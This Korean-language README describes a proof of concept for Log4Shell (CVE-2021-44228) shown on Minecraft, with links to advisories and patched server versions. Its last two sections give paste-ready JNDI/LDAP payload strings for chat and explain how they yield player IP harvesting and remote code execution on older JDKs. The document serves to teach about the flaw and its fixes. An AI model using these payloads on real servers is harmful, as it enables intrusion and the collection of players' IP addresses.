Log4j (CVE-2021-44228) 개념 증명

면책 조항

이 프로젝트는 교육 목적으로만 사용됩니다.

---

소개

이는 HyCraftHD의 log4j 원격 코드 실행 개념 증명을 각색한 것입니다.

CVE-2021-44228에 대한 몇 가지 링크는 다음과 같습니다:

• https://www.lunasec.io/docs/blog/log4j-zero-day
• https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
• https://github.com/apache/logging-log4j2/pull/608
• https://www.youtube.com/watch?v=JPGola6BamU

이 버그는 거의 모든 log4j2 및 일부 log4j1 버전에 영향을 미칩니다. 권장 버전은 취약점을 수정한 2.15.0 입니다.

마인크래프트( log4j2 사용)로 시연

• 마인크래프트에 미치는 영향에 대한 세부 사항은 여기에 나열되어 있습니다: https://twitter.com/slicedlime/status/1469150993527017483
• 마인크래프트 기사는 여기에 있습니다: https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition
• 수정된 마인크래프트 포지 버전: https://twitter.com/gigaherz/status/1469331288368861195
• 마인크래프트 포지 상세 기사: https://gist.github.com/TheCurle/f15a6b63ceee3be58bff5e7a97c3a4e6
• 수정된 마인크래프트 패브릭 버전: https://twitter.com/slicedlime/status/1469192689904193537
• 수정된 마인크래프트 페이퍼 버전: https://twitter.com/aurora_smiles_/status/1469205803232026625
• 수정된 마인크래프트 스피곳 버전: https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/
• 수정된 마인크래프트 스폰지 버전: https://discord.com/channels/142425412096491520/303772747907989504/918744598065586196

지연 또는 직렬화된 데이터 전송

• 채팅에 ${jndi:ldap://127.0.0.1/e} 를 붙여넣으세요. 포트 389 에 열린 소켓이 있으면 log4j가 연결을 시도하고 타임아웃이 발생할 때까지 추가 통신을 차단합니다.
• 이 개념 증명 익스플로잇을 사용하면 콘솔 로그에 THIS IS SEND TO THE LOG!!! LOG4J EXPLOIT! 가 기록되는데, 이는 LDAP 서버에서 온 직렬화된 문자열 객체입니다.

• 또한 악성 LDAP 서버는 메시지가 기록된 모든 IP 주소를 수신합니다. 즉, 서버에 있는 플레이어의 IP 주소를 이 익스플로잇으로 수집할 수 있습니다.

RCE

• 채팅에 ${jndi:ldap://127.0.0.1/exe} 를 붙여넣으세요. -Dcom.sun.jndi.ldap.object.trustURLCodebase=true 가 true로 설정된 경우 원격 코드 실행이 발생합니다.

• 다행히 최신 JDK는 기본적으로 원격 클래스 로딩을 비활성화합니다. (https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
• 하지만 구형 버전에서는 여전히 허용될 수 있습니다!!